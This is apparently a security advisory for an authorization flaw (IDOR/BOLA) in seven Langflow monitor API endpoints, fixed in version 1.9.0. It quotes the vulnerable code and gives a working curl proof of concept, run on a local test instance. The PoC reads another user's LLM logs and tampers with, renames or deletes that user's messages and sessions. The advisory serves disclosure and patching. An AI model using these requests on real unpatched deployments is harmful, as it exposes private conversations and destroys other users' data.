Langflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints
GHSA-9c59-2mvc-vfr8 · CVE-2026-33760 · PYSEC-2026-242 · 갱신 2026. 7. 20.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | langflow | 1.9.0 |
GHSA-9c59-2mvc-vfr8 · CVE-2026-33760 · PYSEC-2026-242 · 갱신 2026. 7. 20.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | langflow | 1.9.0 |
3. PUT /api/v1/monitor/messages/{message_id} (lines 110–134) — overwrites any message:
db_message = await session.get(MessageTable, message_id)
# no check: db_message.flow_id → Flow.user_id == current_user.id
db_message.sqlmodel_update(message_dict)
4. PATCH /api/v1/monitor/messages/session/{old_session_id} (lines 137–171) — renames any session:
stmt = select(MessageTable).where(MessageTable.session_id == old_session_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id
5. DELETE /api/v1/monitor/messages/session/{session_id} (lines 174–188) — bulk-deletes any session:
await session.exec(
delete(MessageTable).where(col(MessageTable.session_id) == session_id)
# no ownership filter
)
6. GET /api/v1/monitor/transactions (lines 191–211) — reads LLM prompt/response logs for any flow_id:
stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id
7. DELETE /api/v1/monitor/builds — deletes build records for any flow_id:
Shares the same root cause as endpoint #1 (GET /builds): flow_id is accepted as a bare query parameter and passed to the deletion path without a WHERE Flow.user_id == current_user.id ownership check, so any authenticated user can destroy another user's build artifacts.
Tested on Langflow v1.7.3 (langflowai/langflow:1.7.3) with two accounts: langflow (victim) and attacker_test (attacker).
# Setup: authenticate both users
TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \
-d "username=langflow&password=langflow" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \
-d "username=attacker_test&password=Attacker123" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
# Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration)
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
# PoC 1: Read victim's LLM transaction logs (prompts + model responses)
curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \
-H "Authorization: Bearer $ATTKR"
# HTTP 200 — full transaction log returned including user prompts and model responses
# PoC 2: Read victim's build data
curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \
-H "Authorization: Bearer $ATTKR"
# HTTP 200
# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)
curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \
-H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
-d '["<victim_message_id>"]'
# HTTP 204 — message deleted
# PoC 4: Tamper with victim's message content
curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \
-H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
-d '{"text":"TAMPERED BY ATTACKER"}'
# HTTP 200 — message overwritten, "edit":true set
# PoC 5: Rename victim's session
curl -s -X PATCH \
"http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \
-H "Authorization: Bearer $ATTKR"
# HTTP 200 — session renamed
# PoC 6: Bulk-delete victim's entire session
curl -s -X DELETE \
"http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \
-H "Authorization: Bearer $ATTKR"
# HTTP 204 — entire session deleted
All 6 demonstrated attack vectors confirmed (the 7th, DELETE /builds, shares the GET /builds root cause and was not separately scripted). After attacker operations: victim's message text read "TAMPERED BY ATTACKER", session renamed to attacker-controlled name, second session completely deleted.
This vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted).
Confidentiality: GET /transactions exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by flow_id. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). GET /builds exposes internal workflow execution state.
Integrity: PUT /messages/{id} allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. PATCH /messages/session/{id} allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces.
Availability: DELETE /messages and DELETE /messages/session/{id} enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted.
Any registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.